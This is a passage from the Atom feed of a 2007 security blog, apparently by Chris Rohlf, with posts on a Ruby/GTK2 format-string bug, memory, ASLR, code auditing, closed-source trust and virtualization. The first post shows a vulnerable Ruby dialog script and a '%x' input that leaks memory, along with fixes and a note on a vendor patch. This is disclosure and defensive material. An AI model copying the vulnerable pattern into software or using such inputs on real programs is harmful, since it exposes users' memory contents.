/&gt;#!/usr/bin/env ruby&lt;br /&gt;&lt;br /&gt;# ruby rubber.rb %x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x&lt;br /&gt;&lt;br /&gt;require &#39;gtk2&#39;&lt;br /&gt;&lt;br /&gt;my_string = ARGV[0]&lt;br /&gt;&lt;br /&gt;dialog = Gtk::MessageDialog.new(@main_app_window, Gtk::Dialog::MODAL,&lt;br /&gt;                        Gtk::MessageDialog::INFO,&lt;br /&gt;                        Gtk::MessageDialog::BUTTONS_CLOSE,&lt;br /&gt;                        &quot;%s - Was your string!&quot; % my_string)&lt;br /&gt;dialog.run&lt;br /&gt;dialog.destroy&lt;br /&gt;-------------------------------------------------------------------------&lt;/pre&gt;&lt;/span&gt;&lt;span style=&quot;;font-family:arial;font-size:85%;&quot;  &gt;To avoid this issue in your ruby code you could use the markup member. This will use the Pango markup language on your text. Its a workaround but it gets the job done.&lt;br /&gt;&lt;pre&gt;-------------------------------------------------------------------------&lt;br /&gt;my_string = ARGV[0]&lt;br /&gt;&lt;br /&gt;dialog = Gtk::MessageDialog.new(@main_app_window, Gtk::Dialog::MODAL,&lt;br /&gt;                        Gtk::MessageDialog::INFO,&lt;br /&gt;                        Gtk::MessageDialog::BUTTONS_CLOSE)&lt;br /&gt;&lt;br /&gt;dialog.markup = &quot;#{my_string} - Was your string!&quot;&lt;br /&gt;dialog.run&lt;br /&gt;dialog.destroy&lt;br /&gt;-------------------------------------------------------------------------&lt;br /&gt;&lt;/pre&gt;Or alternatively you could do something like &quot;my_string = my_string.gsub(/%/, &quot;%%&quot;)&quot; before calling messagedialog.&lt;br /&gt;&lt;br /&gt;Using &lt;a href=&quot;http://www.google.com/codesearch&quot;&gt;google&lt;/a&gt; we can find some other projects vulnerable to similar bugs. Most just stick #{my_string} in the message, including example applications from the official Ruby/Gnome2 website.&lt;/span&gt;&lt;span style=&quot;;font-family:arial;font-size:85%;&quot;  &gt;&lt;span style=&quot;font-family:arial;&quot;&gt;&lt;br /&gt;&lt;br /&gt;That about wraps up this post. Other Ruby/Gnome2 API&#39;s may have similar &#39;functionality&#39;. This should teach all the scripters out there a security lesson. Always remember your favorite &quot;better than C&quot; scripting language is probably implemented in C. Ruby/Gnome2 authors have been notified and they have committed a patch to &lt;a href=&quot;http://ruby-gnome2.svn.sourceforge.net/viewvc/ruby-gnome2?view=rev&amp;amp;revision=2720&quot;&gt;SVN&lt;/a&gt;.&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://em386.blogspot.com/feeds/7409848530721818636/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/34826778/7409848530721818636?isPopup=true' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/7409848530721818636'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/7409848530721818636'/><link rel='alternate' type='text/html' href='http://em386.blogspot.com/2007/11/your-favorite-better-than-c-scripting.html' title='Your favorite &quot;better than C&quot; scripting language is probably implemented in C'/><author><name>Chris Rohlf</name><uri>http://www.blogger.com/profile/16615531060194715892</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5e_DE2C_3-Zx8X_bGUnrPqMXp7IS64j71efqRQ-arn1HeNVk8AZljfMRx1FmhU_lCo0DBfCZtb3hFlusMnayAAbNd0sKT8dCwF1Fj9Ak_4SfVneV6tA5Um58IxIyprAK1as4H/s72-c/ruby-dialog.png" height="72" width="72"/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34826778.post-8294767354737756716</id><published>2007-11-22T23:00:00.000-08:00</published><updated>2011-01-16T13:24:18.714-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="memory"/><category scheme="http://www.blogger.com/atom/ns#" term="programming"/><title type='text'>What Every Programmer Should Know About Memory (PDF)</title><content type='html'>&lt;span style=&quot;font-size: 85%;&quot;&gt;I just came across this PDF on reddit.com titled &quot;What every programmer should know about memory&quot;. Its written by &lt;a href=&quot;http://people.redhat.com/drepper/&quot;&gt;Ulrich Drepper&lt;/a&gt; from RedHat, you should know who he is.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://people.redhat.com/drepper/cpumemory.pdf&quot;&gt;Link to PDF&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
It&#39;s going to take me awhile to get through this (its 114 pages long) - but so far its a decent read. I&#39;m currently cheating and searching through it for things that interest me. I&#39;m currently taking in section 7.3 &#39;Measuring Memory Usage&#39;. This section is particularly interesting to me because I&#39;ve been toying with a project of mine lately that collects massive amounts of data. Searching and sorting that data efficiently has not been easy.&lt;br /&gt;
&lt;br /&gt;
Ulrich states in the PDF that using libc&#39;s malloc to store a linked list you populate for later retrieval and use is probably a bad idea. This is true, because theres no guarantee malloc will return memory that is close or even near to the next member in the linked list. There are alternatives to using the traditional libc malloc library such as &lt;a href=&quot;http://en.wikipedia.org/wiki/Obstack&quot;&gt;obstack&lt;/a&gt; and Google&#39;s &lt;a href=&quot;http://www.blogger.com/goog-perftools.sourceforge.net/doc/tcmalloc.html&quot;&gt;TCMalloc&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
There&#39;s lots of other good stuff in his paper, take a look for yourself.&lt;br /&gt;
&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://em386.blogspot.com/feeds/8294767354737756716/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/34826778/8294767354737756716?isPopup=true' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/8294767354737756716'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/8294767354737756716'/><link rel='alternate' type='text/html' href='http://em386.blogspot.com/2007/11/what-every-programmer-should-know-about.html' title='What Every Programmer Should Know About Memory (PDF)'/><author><name>Chris Rohlf</name><uri>http://www.blogger.com/profile/16615531060194715892</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34826778.post-3229192911937958062</id><published>2007-10-18T05:21:00.000-07:00</published><updated>2007-10-18T08:13:25.125-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="aslr"/><category scheme="http://www.blogger.com/atom/ns#" term="osx"/><category scheme="http://www.blogger.com/atom/ns#" term="security"/><title type='text'>OSX Leopard - ASLR?</title><content type='html'>A lot of main stream media is reporting OSX will be getting ASLR (Address Space Layout Randomization). However OSX&#39;s &lt;a href=&quot;http://www.apple.com/macosx/features/300.html#security&quot;&gt;new features page&lt;/a&gt; says &#39;library randomization&#39;. Not ASLR. Im not an OSX user but I think some clarification is needed here. ASLR is a pretty vague term to apply to this. The PAX implementation for example describes ASLR as randomization on many different regions of a processes memory. The true die-hard in me reserves the term ASLR for a wider randomization implementation such as stack base, mmap, .text base and many others, not just library mappings.&lt;br /&gt;&lt;br /&gt;And now that all of this is on slashdot.org I&#39;m sure the fanboi war will begin. Please let it be known that my official opinion is: it doesn&#39;t matter what OS you run, you can still get owned.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://pax.grsecurity.net/docs/aslr.txt&quot;&gt;http://pax.grsecurity.net/docs/aslr.txt&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://em386.blogspot.com/feeds/3229192911937958062/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/34826778/3229192911937958062?isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/3229192911937958062'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/3229192911937958062'/><link rel='alternate' type='text/html' href='http://em386.blogspot.com/2007/10/osx-leopard-aslr.html' title='OSX Leopard - ASLR?'/><author><name>Chris Rohlf</name><uri>http://www.blogger.com/profile/16615531060194715892</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34826778.post-7457309299147777647</id><published>2007-10-03T05:22:00.000-07:00</published><updated>2007-10-03T19:18:18.107-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="code auditing"/><category scheme="http://www.blogger.com/atom/ns#" term="security"/><title type='text'>Code Auditing Checklist</title><content type='html'>When I audit any code I always follow the same steps to familiarize myself with the application and give me a better sense of its internals. I was giving this advice to a friend over IM today, and I thought it would make a good blog post for others.&lt;br /&gt;&lt;br /&gt;Years ago when I would try to audit a fairly large application like Apache, I simply got lost in its many functions and data structures, unable to get a good enough grasp of how it worked. By that point I had become frustrated and would probably move onto another application. Sometimes you get lucky and sometimes you walk away angry. There were never any good guidelines from the masters, only examples of vulnerable code. But without a thorough understanding of how a program works, I don&#39;t believe its possible to get the most out of your time spent auditing it. I have written down a few simple steps to quickly understand an application in less time, which means more time auditing for vulnerabilities.&lt;br /&gt;&lt;br /&gt;1. Does the application have its own memory management? Many applications will have their own internal memory management instead of just allocating space when they need it. You will find many larger applications will have memory structures that contains a pointer to some dynamic buffer, the total size of the buffer, the length of the data in that buffer, and perhaps a pointer to a function that needs the data. This will vary greatly from app to app but understanding how this internal memory management works is absolutely key to finding any vulnerabilities related to mishandling of that memory. Its also important when exploiting a vulnerability you have found. Sometimes these &lt;a href=&quot;http://risesecurity.org/exploit/7/&quot;&gt;higher abstraction layers can be abused&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;2. Are there any functions that the application calls repeatedly? For example during a recent code audit I did there was a function that processed and stripped HTML characters from a string of user input. This function was called repeatedly throughout the application. I reviewed the function from start to end, making notes about how it could be called insecurely. So next time I came across another block of code that called that function I already knew what it did and I knew right away if it was being used correctly or not. Don&#39;t make the beginner mistake of trying to find all instances of str/memcpy abuses - when there are plenty of home grown functions that are just as lousy and widespread.&lt;br /&gt;&lt;br /&gt;3. macros, typedef&#39;s, define&#39;s,and structures - Study them and know them well. Most larger applications are going to typedef large structs or variables they use often. Large applications have many structures that are important to understanding their internals. A variable type can make a big difference between being vulnerable and not being vulnerable. Make a list on paper if you have to.&lt;br /&gt;&lt;br /&gt;This is not an exhaustive list of how you should approach a code review. But more of a quick checklist to quickly understanding how an application works internally so you can spend more time finding bugs.</content><link rel='replies' type='application/atom+xml' href='http://em386.blogspot.com/feeds/7457309299147777647/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/34826778/7457309299147777647?isPopup=true' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/7457309299147777647'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/7457309299147777647'/><link rel='alternate' type='text/html' href='http://em386.blogspot.com/2007/10/code-auditing-checklist.html' title='Code Auditing Checklist'/><author><name>Chris Rohlf</name><uri>http://www.blogger.com/profile/16615531060194715892</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34826778.post-441439014790423832</id><published>2007-10-02T18:52:00.000-07:00</published><updated>2007-10-02T19:16:49.526-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="blog"/><category scheme="http://www.blogger.com/atom/ns#" term="em386"/><category scheme="http://www.blogger.com/atom/ns#" term="security"/><title type='text'>1 Year Has Passed</title><content type='html'>&lt;span style=&quot;font-size:85%;&quot;&gt;I just realized this blog turned one year old a few weeks ago, and I&#39;m still not at 50 posts. That&#39;s pretty sad, Ill have to pick up the pace. Over the past year I have blogged about various topics such as security, ELF, Linux, random security headlines and more. Sometimes even &#39;real&#39; tech media will quote my posts. Does a lack of comments indicate no one finds what you have to say interesting? I hope not.&lt;br /&gt;&lt;br /&gt;The blog averages about 20-40 hits a day from various google keyword searches and links to it. From what I can tell there&#39;s an additional 75 to 100 people who subscribe to the RSS feed via feedburner, bloglines, google and a few others I&#39;ve never heard of. Thanks for reading for the past year. As long as I have readers I will continue to post :)&lt;br /&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://em386.blogspot.com/feeds/441439014790423832/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/34826778/441439014790423832?isPopup=true' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/441439014790423832'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/441439014790423832'/><link rel='alternate' type='text/html' href='http://em386.blogspot.com/2007/10/1-year-has-passed.html' title='1 Year Has Passed'/><author><name>Chris Rohlf</name><uri>http://www.blogger.com/profile/16615531060194715892</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34826778.post-8982521485038811467</id><published>2007-09-29T07:01:00.000-07:00</published><updated>2007-09-29T08:52:14.122-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="audit"/><category scheme="http://www.blogger.com/atom/ns#" term="code"/><category scheme="http://www.blogger.com/atom/ns#" term="security"/><category scheme="http://www.blogger.com/atom/ns#" term="struct software"/><title type='text'>Blackboxes and Trust</title><content type='html'>&lt;span&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;I&#39;m sure you&#39;ve heard the saying &quot;you wouldn&#39;t buy a car that had the hood sealed shut would you?&quot; - Followed up by an open source &lt;/span&gt;&lt;del&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;zealot&lt;/span&gt;&lt;/del&gt;&lt;span style=&quot;font-size:85%;&quot;&gt; &lt;/span&gt;&lt;del&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;fanatic&lt;/span&gt;&lt;/del&gt;&lt;span style=&quot;font-size:85%;&quot;&gt; person explaining to you why that analogy works for software. Well I actually do agree with that analogy. &lt;a href=&quot;http://www.oreillynet.com/sysadmin/blog/2007/05/are_you_mad_are_we_all.html&quot;&gt;Anton Chuvakin put it into better words then I ever could in this blog post&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Every single day very large and important organizations rely on software to keep themselves running (hospitals, infrastructure control, intelligence agencies, the military ... and so on). Yet nearly none of these organizations are legally allowed to see the source code of that software. There is just absolute blind trust in its ability to work correctly and be reliable. Not to mention secure.&lt;br /&gt;&lt;br /&gt;Where is the proof this software isn&#39;t full of backdoors, vulnerabilities, logic bugs or more. Organizations such as those above need to start asking (demanding) their vendors provide some real proof that the source code or binary was audited by a third party - i.e. not the original developers of the software. This proof works both ways. It gives the company the chance to say &quot;&lt;span style=&quot;font-style: italic;&quot;&gt;hey - we can&#39;t catch all the bugs, but we did our best, and thats why you should choose us over our competition&lt;/span&gt;&quot;. And customers are given a little more trust in the investment they just made. Because now they know their vendor went further then the competition to produce a better quality product.&lt;br /&gt;&lt;br /&gt;Lets take Windows Vista for example - many hackers have audited its source code on while on Microsoft&#39;s payroll. This is a good thing, and Microsoft can now say to customers &quot;&lt;span style=&quot;font-style: italic;&quot;&gt;YES we did audit our code after development&lt;/span&gt;&quot;. Which is a lot more then most other vendors out there can say. The flip side to this argument is open source. Just because the source is open doesn&#39;t mean people have reviewed it for vulnerabilities (download a random sourceforge project and you will understand what I mean). But on the other hand, it does give the customer/user the ability to inspect the software they are relying so heavily on.&lt;br /&gt;&lt;br /&gt;How many of you can honestly say the software products your company relies on have been audited by a third party?&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://em386.blogspot.com/feeds/8982521485038811467/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/34826778/8982521485038811467?isPopup=true' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/8982521485038811467'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/8982521485038811467'/><link rel='alternate' type='text/html' href='http://em386.blogspot.com/2007/09/blackboxes-and-trust.html' title='Blackboxes and Trust'/><author><name>Chris Rohlf</name><uri>http://www.blogger.com/profile/16615531060194715892</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34826778.post-1886466992140329763</id><published>2007-09-24T11:00:00.000-07:00</published><updated>2007-09-24T07:39:49.337-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="security"/><category scheme="http://www.blogger.com/atom/ns#" term="virtualization"/><title type='text'>Some Thoughts On Virtualization and Security</title><content type='html'>&lt;span style=&quot;font-size:85%;&quot;&gt;With high profile VMWare vulnerabilities just hitting the news its easy to &lt;a href=&quot;http://blogs.zdnet.com/security/?p=532&quot;&gt;find&lt;/a&gt; some &lt;a href=&quot;http://www.securityfocus.com/brief/593&quot;&gt;mainstream&lt;/a&gt; &lt;a href=&quot;http://www.pcworld.com/article/id,137504-c,applicationbugs/article.html&quot;&gt;articles&lt;/a&gt; covering the subject. This post isn&#39;t about hypervisor rootkits (because were all tired of hearing about that), but more about the assumption in corporations and academia that (virtualization == security). This is just plain WRONG. Virtualization environments are extremely complex pieces of software - and with complexity comes insecurity. In fact I would venture as far as to say that by default (virtualization == insecurity); running two operating systems within the same machine just creates more attack surface. Considering the high degree of interaction the host and guest OS must have you inherently create greater possibility of vulnerability then if they were on separate hardware. And just because VM&#39;s are easy to create and re-create doesn&#39;t mean they shouldn&#39;t be secured as well. As we have seen from this latest VMWare vulnerability, theres always the possibility your guest VM can compromise your host OS. It should also be noted that once the host OS has been hijacked ALL of your guest VM&#39;s should be considered compromised and untrusted. &lt;/span&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;In order for the attacker to completely own your virtualization environment he/she has to know exactly what host OS is being used. There needs to be more fool-proof research into this area before wide spread panic can begin. There will also hopefully be more utilization of the host OS/virtualizer as an Virtual IDS (VIDS) of sorts - to tell us when our virtual machines have been compromised. This use hasnlt been explored enough in my opinion.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;br /&gt;Now its true some &lt;a href=&quot;http://www.ghs.com/products/rtos/integrity_pc.html&quot;&gt;virtualization technologies&lt;/a&gt; were designed with security in mind and others were meant to increase efficiency and productivity of hardware. This fact should be noted when trying to decide which virtualization strategy to use. But companies should also be aware of the security issues they may be introducing by improperly implementing a virtualization strategy as they may be causing more harm then its worth.&lt;br /&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://em386.blogspot.com/feeds/1886466992140329763/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/34826778/1886466992140329763?isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/1886466992140329763'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/1886466992140329763'/><link rel='alternate' type='text/html' href='http://em386.blogspot.com/2007/09/some-thoughts-on-virtualization-and.html' title='Some Thoughts On Virtualization and Security'/><author><name>Chris Rohlf</name><uri>http://www.blogger.com/profile/16615531060194715892</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34826778.post-4469910647597332366</id><published>2007-09-22T15:59:00.000-07:00</published><updated>2007-09-23T18:30:43.877-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="conference"/><category scheme="http://www.blogger.com/atom/ns#" term="security"/><title type='text'>A good presentation by FX ....</title><content type='html'>&lt;span style=&quot;font-size:85%;&quot;&gt;I just read a pretty good presentation by FX (Felix Lindner) called &quot;Security and Attack Surface of Modern Applications&quot;. He presented it at HITB 2007 (I did not attend). As FX describes it his presentation is not about hex and 0day ;( but more about how security problems are not being fixed and things are rapidly progressing down hill. He makes some very good points such as &quot;&lt;span style=&quot;font-style: italic;&quot;&gt;Respect that software is there to solve real problems for people, security isn’t one of them.&lt;/span&gt; &quot;. And this is very true, the security community tends to forget this detail most of the time. His presentation has some excellent numbers associated with vulnerability classes and what attackers focused on since the late nineties to today.&lt;br /&gt;&lt;br /&gt;One subject he touches on which is of interest to me is perimeter security. While its true most attackers focus on client side exploits today, perimeter security should not be forgotten just because we tunnel %50 of our applications over HTTP. Client side exploits allow attackers to create larger botnets. But client side vulnerabilities aren&#39;t always the first pick in a targeted attack. Well they can be (MS Office parsing vulns - google for what I mean). But targeted attacks can involve something specific to that target, a mis-configured web server or email server etc... To FX&#39;s point, combining all of these different technologies (VPN Termination, LDAP, SSL etc) into the firewall is _not_ the way to do perimeter security. Defense in depth is still entirely relevant and will be for a long time to come. And if done correctly, at the very least, can stop some &lt;/span&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;successful &lt;/span&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;client side exploits from calling home, which can minimize their impact to your network.&lt;br /&gt;&lt;br /&gt;On slide 13 FX also talks about &#39;Skill and Time&#39;. He seems to put far more skill+time on finding vulnerabilities as opposed to writing exploits, which he states &#39;requires little skills but quite some time&#39;. Im not sure how I feel about that slide yet. &lt;a href=&quot;http://archives.neohapsis.com/archives/dailydave/2007-q3/0171.html&quot;&gt;Others certainly do not agree with him&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;I recommend reading it. You can grab FX&#39;s presentation and others from HITB 2007 &lt;a href=&quot;http://materials.hitbsecconf.org/&quot;&gt;here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;(FX&#39;s take on the &#39;self defending network&#39; is priceless)&lt;br /&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://em386.blogspot.com/feeds/4469910647597332366/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/34826778/4469910647597332366?isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/4469910647597332366'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/4469910647597332366'/><link rel='alternate' type='text/html' href='http://em386.blogspot.com/2007/09/good-presentation-by-fx.html' title='A good presentation by FX ....'/><author><name>Chris Rohlf</name><uri>http://www.blogger.com/profile/16615531060194715892</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>